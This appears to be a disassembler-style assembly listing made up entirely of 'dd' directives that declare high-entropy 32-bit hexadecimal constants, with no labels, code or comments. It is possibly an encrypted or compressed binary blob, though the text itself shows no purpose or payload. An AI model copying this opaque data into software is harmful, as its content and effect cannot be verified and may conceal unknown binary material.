dd 0C35168B1h, 329A41E4h, 0CDA0452h, 0E8FD8D42h, 796CBFD6h
dd 0EC69981Ah, 6FE282EBh, 3AFD15Bh, 159DCFh, 0D7F25AAFh
dd 8A01524Fh, 0D5990125h, 7CDD9946h, 9B0AE7F1h, 75DA14B6h
dd 0A68766FBh, 0FFF5A393h, 0BFF1597Fh, 0BC2387B1h, 0EC64E372h
dd 7718C248h, 0C490A482h, 7187D286h, 0E2AAB2FEh, 8A5E9D73h
dd 5292FA34h, 0F3F70DB2h, 0C3F830DDh, 0CBB08807h, 0ADDD4109h
dd 438ECDD5h, 4172C77Bh, 0B98CB4DEh, 6D90EA3Dh, 46264A87h
dd 60648790h, 7B79852Dh, 6B9F9A38h, 0A66D3140h, 560027E6h
dd 0A2F53559h, 1C15E8FEh, 0FCD3902Ah, 0F1D3C500h, 6A77A300h
dd 571176BAh, 0F9C3485Eh, 62D3629Dh, 8BECF1A9h, 0B6F1B26Fh
dd 0DC675C8Ch, 0A984C085h, 0F006DC65h, 0CD4CD631h, 0DBF5A34Bh
dd 0E9F5FEE8h, 876B3810h, 9DCC7397h, 92284ED7h, 0E4AC554h
dd 8A84BD6Ch, 96668A09h
dd 3FF8FA79h, 2C4C0291h, 2BFFF076h, 29156593h, 942708D0h
dd 0D4AE9190h, 4C88A422h, 0B9D2D896h, 1E755C03h, 90D3562Fh
dd 0BDF8F6FBh, 0AAA6E9Ch, 52F0E317h, 55C15410h, 6E68BAACh
dd 0E6C824E5h, 0BD4A81CAh, 3B5F01Bh, 71788E1Bh, 5229A878h
dd 6F6313E8h, 0F79D9A9Dh, 6CCF5CCDh, 28F13A7Eh, 0D4A6D142h
dd 3072C6h, 0E6EE81B3h, 7455DA05h, 48D60091h, 8FF520ACh
dd 0D3E061Fh, 0EB098D1Ch, 0A3CB5C38h, 0DC7306B8h, 4EEFD233h
dd 303AD11Eh, 0B2F4437Bh, 0EE83856Ch, 1BA84AF7h, 6CD54B7Bh
dd 8B1D5015h, 0B6022A19h, 0D75824F9h, 395076F0h, 5980C86Bh
dd 0D7A513ECh, 4404008Ah, 70EEEB29h, 0DAECC89Bh, 0EE65145Bh
dd 5BF64967h, 86CC70F0h, 0D6B9D8F6h, 0BEF36CA0h, 0DC89BD5h
dd 3EB07D6Ah, 12EA0h, 1988EF5Ch, 1B8BE6E6h, 28A08302h
dd 0A8A488ECh, 0F70E4473h, 4ACE2B13h, 0DC6DDFFDh, 3CE1B24Ch
dd 609E29E5h, 32833E57h, 0BD71858Eh, 38E6C445h, 0A097E0C8h
dd 6FF503C5h, 870649D4h, 0E019939Ah, 0D28F968Bh, 731D51D3h
dd 415E6376h, 91683F29h, 3C8EA6F7h, 732A1414h, 0AA851293h
dd 30E18F53h, 0D2C25270h, 0F1CB3BADh, 0ED3EE485h, 74869717h
dd 0C257427Eh, 435B9EE2h, 5B91FB42h, 7008FEEBh, 0F67463EBh
dd 0FD47D20Ch, 29F73F0Ah, 53122060h, 5E004E93h, 98CA08CFh
dd 5D140BBEh, 0E40CE70Eh, 0D623ED8Dh, 161F6380h, 0AC689AC5h
dd 0C15D0B27h, 418E6EABh, 6E7F4F6Fh, 0A8345548h, 0DC668EDCh
dd 4847399Ch, 17926019h, 0C0A1907Bh, 8411F81Bh, 81B9C2A8h
dd 0C58A467Ch, 0DC499EABh, 62339F9h, 0AAB3AF82h, 9936A7h
dd 0A97C4082h, 46CA9A7h, 86786F4Ah, 6708DD39h, 554BD2F7h
dd 6ECB6AC9h, 0B5EE11B5h, 0E134A829h, 3E40F234h, 61D819AEh
dd 0E235ECEDh, 0B4BB171h, 8FB42247h, 8FA193Eh, 0ADBBE389h
dd 8FE676E0h, 6AF32EDFh, 0A74CF948h, 84839A6Fh, 2CD93BCh
dd 88F2E308h, 0A49E0870h, 1B8BE3E2h, 0A14B7BE9h, 19DD84E3h
dd 883A1666h, 0B9C09E17h, 121F40CFh, 9D3E672Fh, 32B601C4h
dd 719D5B21h, 670EE367h, 9006E519h, 4435BE9h, 0D36CE319h
dd 0FE349522h, 4B13B1C0h, 0E66010E2h, 6F448949h, 1D178557h
dd 76E7765Fh, 1267D1B8h, 335FAFC6h, 0DFB3E7A5h, 4921AF93h
dd 1E4372E2h, 46C77F84h, 0D0C16130h, 39D9E307h, 52132AC6h
dd 0D9B7477Bh, 53893CA1h, 5B2ECC0Fh, 1487A43Dh, 781A298h
dd 42BA1B24h, 8D2068B3h, 1E8A5CB8h, 0D99F94BEh, 1BE13CB2h
dd 2BF7FB93h, 0D3B7F883h, 71A051DDh, 82DEF8AAh, 89863C7Ch
dd 86CA47A3h, 0B5E15E27h, 0A3B678B3h, 11C9CD56h, 0CEAAEFCBh
dd 0CA45486Bh, 31D5830Bh, 0B5F39D76h, 0EB772479h, 0E363AC4h
dd 0DE5CD5DAh, 0AAA412FDh, 7FCA9EE9h, 0CAF4A379h, 0EE0E8A5Fh
dd 216BABBCh, 6A8114EFh, 80AAE597h, 665BD27Ch, 61C9B61h
dd 0DD88C61Ah, 4D08A908h, 74A3D366h, 0F67F3C7Eh, 2923649h
dd 567D31EAh, 57546705h, 9EA89EAh, 3F4A03D1h, 0ACBC5098h
dd 4A29B1A3h, 9A14D1D9h, 185808B5h, 77A4ABE8h, 9D8354ABh
dd 0BAF633BAh, 0FB50E86Fh, 0E27C6FAh, 0FC40A630h, 7DDE9EE0h
dd 7AEE7756h, 0CABC28C0h, 0F8E6C8E4h, 0AAF0671h, 491A05C5h
dd 722FABCCh, 223285D3h, 988519Eh, 2F9BA70Ch, 8C1F2A78h
dd 0A0FCD1FBh, 0CB988675h, 7DA625C5h, 8BA5DCF6h, 0FDA782E2h
dd 857C19A1h, 0B50527DCh, 0C22F9DCh, 0E8B07FC5h, 0C8C04E8Ch
dd 64C7914Ah, 9A72E4F6h, 0CD1379A2h, 7712FC4Ah, 0F70EBBE3h
dd 827E0C5Bh, 57518E9Ah, 0AC0AE3D4h, 1C81E15h, 1879AC09h
dd 0DA318DC1h, 0A989C13Ch, 31642F34h, 0C36A7B45h, 8C87EF1Ch
dd 380A6151h, 199A86A7h, 0CEDE2635h, 74B1DCE5h, 0CCC1535Bh
dd 316300B2h, 4413FC3Bh, 9A602C5Ah, 59388010h, 66FB1FEEh
dd 0E672017h, 8D2B20EAh, 0A7C0F7Eh, 0BF1B7AD1h, 0BE12C1DAh
dd 61C3F406h, 0DFE5D3F5h, 9F236352h, 0CD9917C7h, 36E47B7Ch
dd 426AE0CDh, 862AB2D6h, 0DAB9828Ch, 0F71E2536h, 33166DFFh
dd 8408CB2h, 90B45F26h, 91D41C21h, 0AFF4B424h, 5A8AE40Eh
dd 9A522E52h, 0E5D07320h, 2083BB65h, 3A439843h, 0C2338FDCh
dd 373F1A9Fh, 5EEA364Ch, 5C082986h, 0D52A15EBh, 0ED0967F7h
dd 2C686BFCh, 0E449387Eh, 0DA941F72h, 70FAD738h, 45DD6B14h
dd 0D61F9F60h, 5A40B570h, 9184AD5Ah, 65CB1E5Ah, 5C0BC987h
dd 4536616Ch, 5DB5A540h, 351397DBh, 0BF314950h, 3DB70299h
dd 7D9D6E90h, 4A886BB8h, 52A49131h, 0C1D0A00Ah, 596E6622h
dd 305F8748h, 0B860C41Bh, 0ECDB5F8Ah, 0ED75EFD6h, 0D736CBB6h
dd 0B40A2AFFh, 5577394Dh, 2B7E6764h, 0A604396h, 0BC340A3Bh
dd 0DE9E420Ch, 0B9E6033Bh, 235FDFE5h, 0A1D1C68Dh, 6DB201A5h
dd 0B551BAFFh, 4A87334h, 63F51520h, 3AC31B4Ah, 0F5BFA3ADh
dd 96EEEB91h, 0F5EDE77Ch, 48D94EEh, 80427296h, 2C9B96B4h
dd 2A8F96EAh, 0A6881FC6h, 87037089h, 0DF8A0BFAh, 32FED2FBh
dd 0CA77BB80h, 2B8DDAC5h, 0EAAB1EAFh, 2AE592D5h, 0A0290EE2h
dd 0CD4C4C7Eh, 10192587h, 0CE3AD836h, 47D04AA4h, 0EEC7BC74h
dd 8FF3B4E1h, 0CD77FBD6h, 6AC2A9A6h, 0C3610855h, 477DB914h
dd 5406C5D8h, 8BA8CABh, 0F8F7C727h, 8A5C9365h, 0AAD0123Bh
dd 8AB1E38Ch, 5A2D129Ch, 94D12074h, 0C7B8185Ah, 460274AFh
dd 3B3B2036h, 147150CBh, 0D2098273h, 0B859FCF3h, 6B9C6FB6h
dd 67790D20h, 99C8E069h, 0C1EEFF15h, 8448810Ah, 7ECF88DDh
dd 0D507EB96h, 1FD4BCB7h, 61F27D0h, 0F6C2E046h, 2A748201h
dd 0B67893C0h, 2900195Fh, 0E18EBDA5h, 0F0BDCC18h, 9D7997CCh
dd 0AA85DE33h, 8C2F3598h, 69AD4F19h, 95E0D58Fh, 0D42FEC62h
dd 0ACA5B910h, 5ACCCDC8h, 0C539B518h, 1C1DFD3Ch, 43BE40B6h
dd 3E8F0E45h, 508DDC91h, 7ECDA5D6h, 0E7A6E21Bh, 6E83D40Fh
dd 0AD620136h, 6BC85E4Eh, 234CD195h, 7972F320h, 445299CCh
dd 0C04C1C67h, 2CE71D57h, 2D821AB4h, 1B4F3664h, 35B09127h
dd 8F3B8B7Ah, 0A46CDE27h, 6948EF5Dh, 0E786C1A3h, 0D2EAF692h
dd 64B49556h, 0CC7B14D9h, 251A131Fh, 0D4A2974h, 2A5AF00Ah
dd 7951CF9Dh, 0EB1D5506h, 0BC44290Dh, 2807C9B8h, 16596850h
dd 5AB277C4h, 0B8FCD282h, 0EA36C3E5h, 22D93BF2h, 0BD6B7AF6h
dd 0BEE5CBAh, 8C850BCFh, 0A62485AEh, 5D4CF59Eh, 0ED1A24A9h
dd 9FDE480Bh, 0FE42398Ah, 0F7E94E9Ah, 58CB927Ah, 1228EF8Ch
dd 99DAA8FAh, 6653667Eh, 0CBECF4F0h, 0A9D59183h, 6FC5FF7Ch
dd 0EB4B127Fh, 0BD276EA3h, 55920521h, 0D4195DB5h, 0CAC36865h
dd 245323A7h, 80EE74A7h, 0B43E3D6Ah, 5C947D06h, 0A49FBDD1h
dd 9C227FA7h, 52557789h, 8DF07A6Dh, 9616AB46h, 37006071h
dd 216D644h, 0A394950Dh, 0C0E6B09Eh, 0FF29AA09h, 0BEFD0A82h
dd 0C0664E17h, 0BE211242h, 0F6D8203Dh, 11EFCEB4h, 0D64E587Eh
dd 662CEF8Bh, 9708BCB6h, 0B6C30394h, 423CE6CBh, 47C0C866h
dd 0A7490D13h, 74F4E0FFh, 0CE92C976h, 1B2A50F0h, 0E73A8F43h
dd 0A54700A1h, 7BB65365h, 23252F8Dh, 29600F81h, 68F26283h
dd 7DCBC031h, 332E957Ah, 0F27A15C9h, 0CA99B2E5h, 836E656h
dd 92C7C659h, 7E4E7E04h, 0A7F6F36h, 0A8ECEEBh, 66B9986Fh
dd 0DFC4443Ah, 4B25F10Eh, 0CCD719Eh, 425D49F8h, 3F0E77A6h
dd 271440F9h, 0F1947F55h, 6635868Dh, 0A218B76Eh, 89D2CE9Ch
dd 0C6E49390h, 80AE4733h
dd 5E51D9h, 0BCDBEE2Fh, 5A2AF07Eh, 0DB4412F9h, 0F0BDF497h
dd 87DE8914h, 79C3D3BAh, 33FF4C15h, 0E3D78178h, 0FDD44B9Ah
dd 3B591237h, 4E59CF6h, 7E656915h, 71B1CC17h, 3F36529h
dd 0D4C822BEh, 0AA75780Ch, 0BAB6B0B5h, 747F0110h, 92C41644h
dd 86CFD295h, 38BF1A8Bh, 0C8F5FE97h, 0C95A643Dh, 847E5194h
dd 0CB9556E3h, 0C6FC35E8h, 0A607D27Fh, 0F7F8A39Bh, 8AA3993Ah
dd 0C262142Dh, 9FBB07B9h, 6AAE05F3h, 0A4CD94E0h, 9FD8F0F4h
dd 0C3CF1FFFh, 8905C9D2h, 6572BF5Dh, 0F24AB80Fh, 0CA2B2382h
dd 8E541A9Ah, 0DAFC2DA6h, 0C423D5B5h, 92DAB3F2h, 0F710E8A3h
dd 0BC1B82B3h, 59C3B0BAh, 824F8BF9h, 2EBD72B8h, 0D741A81Fh
dd 0AE37C295h, 6322D2A0h, 8EA41C5Dh, 0FC27F5D5h, 88627ECBh
dd 0D5CE0121h, 4B3ABF02h, 6E18131Dh, 18E79FD7h, 7B9D3FCAh
dd 4F71D0C8h, 4B7DCF6Fh, 0B86AA200h, 0B07DF224h, 0D10007AAh
dd 277C0CB3h, 2FCEF57Ah, 0C3AB924Dh, 35B019DCh, 10C16686h
dd 272BF365h, 0BB5C83A3h, 9E3F1D88h, 0A89FDC11h, 0C97D39A8h
dd 71E2BD4Ch, 7D40677Bh, 8AFE9923h, 0C8E78ED8h, 0A79666A8h
dd 50FF610Fh, 95FB75A1h, 0E5792841h, 0A66CFF38h, 9102D6B4h
dd 70D6C0CCh, 0F288BD48h, 0B124D106h, 4CE3D19Bh, 0B690F835h
dd 66B6E0B6h, 15DE71B6h, 0A81B0CDAh, 9D8A31B0h, 0F7636752h
dd 98B6E312h, 0B7383D71h, 0B04A4E86h, 64EB266Dh, 578EC4B2h
dd 29AACE48h, 0F9851FE0h, 0CDA75229h, 674A7A10h, 0C489B0BCh
dd 0DB00FB6Ah, 18324075h, 21FB6F1Ch, 0D8CEC6E3h, 0C950DA41h
dd 1DDA0E0Eh, 113A3DCAh, 0C70E27BCh, 0C195FB62h, 0A0797249h
dd 37564056h, 0EB115FA3h, 0CCD6ED67h, 927490A0h, 0BF178FFAh
dd 8B0937FEh, 89ECBE02h, 0FBDB2ACFh, 4CFBC7B1h, 52A3F703h
dd 4BF5FF95h, 857A16ECh, 0F1677F66h, 76EAFB53h, 59F27CE9h
dd 651BF2DCh, 7C41DB20h, 7361D528h, 60AAD887h, 920F8B63h
dd 16D666D9h, 26036DE8h, 0EE2F4488h, 0CC54F905h, 0CEEAF9E7h
dd 27B0D4Ah, 3CB5E50h, 0C3D23E18h, 498B4E6Fh, 4A7F2319h
dd 61F2E17Ah, 0EC9522E2h, 0D31CD545h, 0A2DD13B8h, 6DC421C3h
dd 2C285E46h, 893FDAFCh, 0CDF33A50h, 7CD2ED3Ch, 0D90AEBEFh
dd 53C0967h, 0B83049C5h, 9F1B4724h, 0CF64C368h, 0FEE12D57h
dd 0DE0721Fh, 4D15330Fh, 78304A33h, 5907B327h, 4AFA2588h
dd 0D40EF887h, 7C5833CFh, 408A970Bh, 0A7AE2AECh, 9EBA64D6h
dd 0B36D87B0h, 1C20135h, 0BCA2A6ADh, 0A717A50Bh, 0E55F8358h
dd 8206CB65h, 0C056A52Dh, 5E870ADh, 581F8587h, 2E5392DCh
dd 0E4241EC0h, 0A11D63A2h, 0B79C9B18h, 0FC3165C1h, 0A4071C43h
dd 0C864DBBCh, 17C4064Dh, 0E88D8467h, 0B33DBA01h, 47B4413h
dd 4248A0D0h, 5511FD17h, 0E40F1E2Ch, 0ADAB1B49h, 3CBF72E1h
dd 4D505BF0h, 521432A0h, 55156FEDh, 154FF38Eh, 14143D47h
dd 99422296h, 0A0BE5067h, 0D0FF8AE1h, 0FDB3BA26h, 7312BB22h
dd 0FE4FA0B6h, 82D98A58h, 0DF92982Fh, 56BB0C71h, 0D7E1D37Fh
dd 0B0F0D295h, 30AD9287h, 6589FAF9h, 509BF923h, 0BB6D0F0h
dd 0E07F6A98h, 7715F5A4h, 1FE2D3FAh, 0CDBA256Ch, 2501BED8h
dd 0FB54864Bh, 53E316F4h, 15938E9Ah, 8012669Ah, 0E3B09B94h
dd 694051C1h, 0C87AD1Eh, 92E20D0Dh, 929CC5C9h, 0FB5C8BE6h
dd 0DE408725h, 0BA3CB8F5h, 0B8ABD101h, 30BA8267h, 0B8F6EB3Eh
dd 612ADCCh, 279A94B5h, 7ADD8219h, 74280A5Dh, 506A06CAh
dd 0D50AB942h, 823CC6E9h, 9ECB5731h, 0B11DBB30h, 4A97C0B0h
dd 30627F4Bh, 66E8BC6Eh, 90C9FEA5h, 68BB3389h, 87120F2h
dd 6FFFE546h, 15C66AE0h, 0EE557186h, 0BE1BFBCAh, 6ADAED83h
dd 3A92CD5Ch, 7F3EED0Ah, 13074E58h, 281053C5h, 0E35E07DFh
dd 88F6E2CFh, 0EE18C758h, 9AA4A61h, 0F4CC9B34h, 68662686h
dd 4E3986BFh, 57F04B9h, 989545CDh, 5CF3FA20h, 5D4DABB4h
dd 0C79F0ABDh, 0CE041546h, 8D811DC5h, 10A99B40h, 6AC3023Fh
dd 68E408E3h, 0F9647BC8h, 32A2A889h, 8AFE45E5h, 83D49600h
dd 0D5F83140h, 9C431D26h, 5A589EE9h, 5A8E4D89h, 0F128A9E3h
dd 411BA510h, 62B24392h, 1830446Ch, 6B69FF4Fh, 1FD0A964h
dd 0AC71BB5Ch, 7051507Ch, 979752A2h, 0FF694h, 4D8A6CF7h
dd 4910F80Ch, 84F45150h, 2B9E40D3h, 1C5F27DBh, 7FC41823h
dd 6C0DC98Eh, 48C98A80h, 0E9DD35A9h, 0D4FC53A9h, 0F5F01210h
dd 1B374478h, 0DAD0D1h, 912812BBh, 1160AE03h, 6B6CFB17h
dd 0E6CFB8F1h, 12CED48Ch, 73A69A5Bh, 8E65845h, 122C09ACh
dd 20152C8h, 7F6FBCDDh, 10F9C327h, 16C9EAA2h, 0F5F995B0h
dd 95D27EF3h, 45D09EADh, 0D28E842Ch, 0ED2E72Ah, 3F1CC737h
dd 79264D9h, 0DCECB87h, 0DCAC6515h, 0E5A9218Dh, 2F2726A8h
dd 0A3BB6110h, 62937A90h, 0C08E4F1h, 0FFE4C995h, 8C2EA48Bh
dd 3C9F68CAh, 0D1BDE1A5h, 0A4B3A09Ah, 565CB8BBh, 0F71834BAh
dd 7410DDC6h, 7C2B4E3Bh, 0BFED378h, 0C4CF6EE3h, 7F054D18h
dd 9C57735Ch, 0AA510530h, 866A72F7h, 29D24DFEh, 4CEF571Dh
dd 6D7DD840h, 0EF9FDAD1h, 29F81FCBh, 3C221AB7h, 2518DB61h
dd 0F497BFC9h, 98E6FBC5h, 8C45AF26h, 3F7E1C8Dh, 0C1E55A89h
dd 8AD13752h, 5EF1D7DAh, 3348A889h, 0F8F185ECh, 0F6F51B9Bh
dd 12CE3C59h, 74519B99h, 712B0DDCh, 346325B7h, 3215282Fh
dd 0BAC4AB2Ah, 0B558671Ah, 622B66DFh, 0EB450DDDh, 958929A5h
dd 0DB14253Ah, 0B296B5B0h, 0A93CC90Bh, 0DE76F243h, 26BAD3EBh
dd 2A68D747h, 9E091806h, 0F241DB75h, 0F487B69Ah, 5E61F312h
dd 4AC4737h, 0B0BF6F33h, 0F0AD1DD8h, 35C5FC77h, 4326BE3Eh
dd 49B96145h, 86827DBFh, 2507EC0Dh, 12D42E45h, 0FBD842ACh
dd 1F1A438Dh, 85AEB608h, 0CA4CB9E9h, 0FD6EA45Ah, 9BE6D784h
dd 52B4A7ABh, 1C20FDA7h, 0F86B795Fh, 0A7F57445h, 7415CB30h
dd 0BAEAF44Eh, 0EDD3C1B5h, 41F7761Ah, 552C10CFh, 6A10F441h
dd 53FED30Ah, 3B32E6CFh, 0BBD69AE1h, 1D3ABE64h, 4E236F47h
dd 83E5D641h, 0AA4F5765h, 9DB5ADC2h, 7B073CF7h, 8CF5DD7h
dd 0DBA3B3E3h, 6B42D158h, 2EC12D78h, 30DA730Ah, 0BF078F4Eh
dd 0F0614034h, 0B1B722D8h, 9D16AFA6h, 0D0245CF0h, 0AA4FF2Dh
dd 536383E6h, 0FBA7FF9Bh, 6079950h, 67CA018Fh, 0B1DF9759h
dd 0FB9F3F5h, 498E7DE0h, 999056C8h, 6479938Fh, 0C13109FFh
dd 14E5142h, 8580D1F7h, 0CE2993D6h, 6AB423B4h, 9FC8571h
dd 0C5191735h, 2DA2FF64h, 2383F8F0h, 0CF70EE5h, 7E054D06h
dd 290BACD0h, 6F2233B4h, 0FE160C32h, 4038EC0Dh, 0ECB1B004h
dd 33769A52h, 0F3241533h, 9198B256h, 0DEC9D4A8h, 0A7DE0FFBh
dd 65A3863Eh, 9DD924Dh, 1862E55Dh, 2EC53FB2h, 0C5D19F0Fh
dd 474A1876h, 8511021h, 0D820E203h, 0A488FBC8h, 0A77CD145h
dd 4AE122ADh, 38FDBFE0h, 9CD63BBDh, 0B81911FBh, 7DEF9F32h
dd 62989307h, 9947087h, 0A6BD6C12h, 0D76BC1ACh, 0CEF4D6C5h
dd 0D004534Eh, 1B1CCA18h, 642203B1h, 39B145C2h, 5A732329h
dd 6A72BD45h, 2366A976h, 0CCFEE844h, 3068AB33h, 7BB0E6C8h
dd 42222253h, 77795A96h, 9798AA97h, 3B6021E7h, 5AA8B58Dh
dd 0E3062C7Bh, 498D4402h, 322E9129h, 4C14731h, 227ACCD7h
dd 0CDB099D3h, 58C631EEh, 0CEF4FA92h, 0EEA29EDDh, 0ECC3777Bh
dd 0EFD14A27h, 5813CA18h, 0A9B28741h, 0BBB9A98Fh, 5B372530h
dd 499FCDAEh, 802084D5h
dd 0B6B5DC03h, 0E39B79F4h, 407C0F5Bh, 3A4BEACCh, 0AD89CC5Eh
dd 0ADEB3258h, 0E470A8C1h, 8584C318h, 7AE1EDCEh, 0A29D4F97h
dd 6A480C6Dh, 0FE438438h, 5162FF96h, 9B89EEDDh, 0A897E0F1h
dd 63F00ACh, 0D81A783Ah, 124AD7CEh, 55966798h, 472CA3D4h
dd 7C249F39h, 8C40B106h, 0EB1BF583h, 0DDD44B25h, 0D072A55Fh
dd 0E294275Eh, 0E590BD5Dh, 0CDE547B1h, 3B582D8h, 0F4A57092h
dd 0EAE7B61Fh, 24F69736h, 63BD4957h, 0EC0F9C4h, 8C1402B7h
dd 9FA47568h, 35E965Fh, 0B51F6CABh, 9D6835C2h, 2CE14457h
dd 0ED0027AEh, 182CF3E7h, 88116C61h, 17441583h, 1AF5D0B1h
dd 4428552Ch, 0E92A6E4Fh, 9CF07D3Dh, 39D8C3BBh, 6830633Fh
dd 6D7D85E7h, 0F321C7ADh, 6A2170CBh, 6DB33134h, 0C3F697E3h
dd 25136350h, 0A6814CBh, 5D3C8405h, 0D139D18Ch, 3DBA5AE3h
dd 5A1F8B1Eh, 0E49AB1CFh, 0C8631EFEh, 63D8175Fh, 86C4CBB4h
dd 0AF8253A3h, 60202E8Dh, 3D7A1A69h, 8CC38EDh, 0D18B8B44h
dd 0A4F3D686h, 87C02CCEh, 649D97A3h, 0FCB80DFFh, 0C2E3906Bh
dd 7BBE467Dh, 0B6CD2957h, 69EBBA7Ch, 434C5126h, 0FA86CD74h
dd 4D96613Ah, 114E233Ch, 0F6D60F82h, 0FE908A99h, 0B9CC836h
dd 6F0EAC19h, 0F8FE1CE3h, 4905AD03h, 93EA37F3h, 8ABB1625h
dd 0F085F1ADh, 0A578788Eh, 9572EBF4h, 26390987h, 0D6471BB5h
dd 2657279Ch, 2C37E7DEh, 81986CE6h, 0E8A56446h, 0F43B1B42h
dd 3EF8C80Dh, 7EC9BDA7h, 0C1077C27h, 0D2F1270h, 10EAD7DAh
dd 4B256AFDh, 0EAEEBDC7h, 96CB1CADh, 5B8B241Ch, 4A5F7685h
dd 0BA5613CDh, 94911ED9h, 0D439F4AFh, 32F746E9h, 144E775Eh
dd 2B1ECDF3h, 0E70160F4h, 27EE9A75h, 0CF507544h, 2AFA3086h
dd 0C7A0341Ch, 1F800762h, 79E17E78h, 6C917C6Dh, 70A3C672h
dd 7E2EB310h, 0BC2C9D35h, 0E6A63821h, 9B21EC2Ch, 4F55DBB4h
dd 0E54684B8h, 0E75E8360h, 0F34EAEF6h, 5A3DD02Fh, 1E6A8506h
dd 52273F62h, 0AC7DF949h, 31AE3EE7h, 0ADFE93Bh, 82EEF4Eh
dd 0F85F9FD5h, 5AA71A9Ch, 0CC677545h, 9E85A80Eh, 0C937F577h
dd 63468E37h, 0B13A76F6h, 6239FEB8h, 1107D249h, 0C26FE0A5h
dd 9F704120h, 9E7CDDE2h, 0AE5611A3h, 0F17ADB27h, 0F1F6DCB1h
dd 473EA9BCh, 42F12740h, 2C4CC362h, 21CFDE5Bh, 562AD7D5h
dd 0AE94F930h, 73C789BDh, 28CBDE44h, 2439A94Bh, 0AA9DBBE9h
dd 90A5E8h, 4EE56799h, 6FEC64h, 188F0965h, 5A63573h, 8E404E6Bh
dd 0F1E71BF6h, 3CC1A730h, 223532CEh, 0B91F1299h, 0BC0A7F72h
dd 0F0BAB786h, 0F6592B10h, 74D6E992h, 413CABA1h, 211032FDh
dd 78C97BBh, 11E74F6Dh, 2FCD02EEh, 0E1DDB4D2h, 0CF82D2D8h
dd 9FEE510Eh, 9C3D4EBEh, 0DE11FED2h, 407318A8h, 0F22373D9h
dd 272D3E06h, 0B6770AE1h, 0B4E01A52h, 0BD728DECh, 0FBAFBF2Eh
dd 649CFE24h, 84B123AFh, 8C51F6F9h, 0E9D26698h, 0B1D5E656h
dd 0DFBAFFE5h, 0D49193FBh, 766770F8h, 210EA203h, 0F4D9F834h
dd 957AA8F5h, 16A0FE6Eh, 2ACB0229h, 2C159295h, 76406F6Ch
dd 0D0A0B663h, 513979A4h, 16C491A3h, 0EDD18DB6h, 0FC7E2D9Dh
dd 0EB424913h, 122B2851h, 762DD0B0h, 0E5691040h, 0B410C526h
dd 0E3AAE59Bh, 3405D2A3h, 0EE677D37h, 0B4327D48h, 862D9ED6h
dd 47CAB5D6h, 3120DA23h, 0A7017C9Fh, 364AE4A8h, 29A9AFE2h
dd 74CD7430h, 0DDA99Fh, 0DEC9D7C3h, 8C1101CEh, 0E5C844DEh
dd 3E755DF7h, 0D59C99BBh, 626F97E2h, 0F2516A2Ah, 0A32C03EEh
dd 0FEC955EAh, 0DD99227Fh, 1A19D8E1h, 0CB9E1FB0h, 94E75E07h
dd 80655AE0h, 0DAA8394Eh, 0F7D9D368h, 0CC0D9A3Fh, 336E7DEAh
dd 70E22220h, 0F2D315E0h, 6D27B304h, 541DD4C6h, 663C0596h
dd 87EC605h, 0B100ACC5h, 0E5B7EBCFh, 27777F2Fh, 0ACD1C77Fh
dd 0F5669DCFh, 0CABC262Eh, 0AA08038Fh, 312B6009h, 3BFA4318h
dd 0EE732B6h, 0C7EB1191h, 6FF3EE3Ah, 30A13EE8h, 0E2694E51h
dd 0A0A1DEE8h, 0C912F48Dh, 5DE81209h, 727C4CF3h, 6F796567h
dd 3C2CEEAFh, 0BBE1CAECh, 4C478A0Fh, 0BB456118h, 0A18A60CEh
dd 88369960h, 0D96233AEh, 799DE7D0h, 0B846F121h, 2AD2CC58h
dd 0E03BFFC3h, 8894A5D0h, 7B2D6B2Fh, 4A0B3B35h, 1C303FB8h
dd 0DF3BC1B6h, 2700D7E9h, 46FC2A2h, 47A22399h, 0D0421E62h
dd 280E0B3Bh, 2F81144h, 40E83741h, 28B90FAh, 0F4881AD3h
dd 0E7BFC1D8h, 0E2F10ED9h, 0AD139D20h, 5C2D0625h, 95F20297h
dd 3C60C466h, 2F57D13h, 381E57E8h, 0F3F972BDh, 8A521D1Ch
dd 0A10DD30Bh, 0C667D89Ch, 228E2FD0h, 99683504h, 0EC8CA42Dh
dd 77643826h, 62569D0Ch, 3B2341DEh, 0F5241974h, 4C08FEF9h
dd 4F12A69Ch, 8334138Dh, 3E0D3532h, 51A41E75h, 6623512Ah
dd 332199F4h, 6B8169CBh, 0FC97CA57h, 6E4DD547h, 413327A5h
dd 0EED3FD4Ch, 65C7AEF8h, 591BAC48h, 85930965h, 0A2819EA3h
dd 8DBCF9C2h, 0FCC650Bh, 459AC019h, 86960BFEh, 77FE8F8Bh
dd 838A5263h, 5876B1FAh, 0A6AD6464h, 49CAC33Ah, 6934B68Ah
dd 0E9405F21h, 48EE0E8Dh, 32613877h, 31B01741h, 0CD72B6F5h
dd 0B6C4B86Dh, 719158D1h, 0AA41EA2Eh, 8D7668C1h, 0A793300h
dd 0EEE5ED6Fh, 0A7E9F3A1h, 75CAD7B9h, 0AE2D3AC5h, 606C29B8h
dd 16675978h, 6FF9BB75h, 0DDC002AEh, 15117934h, 0BB75958h
dd 11129AFEh, 8645BF8Dh, 0D4EC57D6h, 9EFE760h, 20F47E85h
dd 960CBF75h, 0D85ACFEAh, 0BE82342h, 5320AD8Dh, 95199016h
dd 315D6506h, 96B682F5h, 7716767Dh, 0C656666Dh, 9DAB7F64h
dd 534B49A9h, 35C83A17h, 7A7EBDBCh, 7CB620CAh, 0AEFF1D63h
dd 5BD916D6h, 9C12A9F0h, 0DF97BB68h, 202124Fh, 7BDE2EC4h
dd 0E6C4B220h, 0CABEFD98h, 9A0E8C80h, 0D002488Ah, 8CF0F9F5h
dd 8CA6E9D8h, 3CBCED08h, 59378AA4h, 4C671081h, 0F4F4E62Dh
dd 36609C71h, 12AA88Ah, 0F2A09755h, 32E3F169h, 5F5D1C8Fh
dd 0C1AF2FB3h, 0AE247FD4h, 0EA170473h, 0BD61B07Eh, 42B5344Dh
dd 0E7E6C2F9h, 0F6E80F61h, 0F536785Bh, 6BC60611h, 0D5BC068Bh
dd 48406CECh, 41278472h, 0FF92BADEh, 0B287A1F8h, 21157179h
dd 2F4F1EBCh, 3FAAA4F7h, 74131EE6h, 0CE897E35h, 8464FB63h
dd 0A6B2AE00h, 2995C728h, 24E8B289h, 0D0E41A99h, 0BC3E89AEh
dd 75F0FA75h, 0F59B23BFh, 0FF826B1Dh, 0D0195A4Ch, 47BF1ED2h
dd 6EB9A0C1h, 0D0A67AFFh, 0EC0EDFDEh, 1E7DFC94h, 0B30EFB3Eh
dd 0E5292FBCh, 0C80CC6BAh, 771987B3h, 0EDEB02D5h, 2B723C2Fh
dd 2D6CF12Eh, 39177E0h, 7171B9D0h, 3B97F96Dh, 46322E82h
dd 84A77480h, 15DA44ABh, 0E132ECE8h, 82639965h, 0C4B88539h
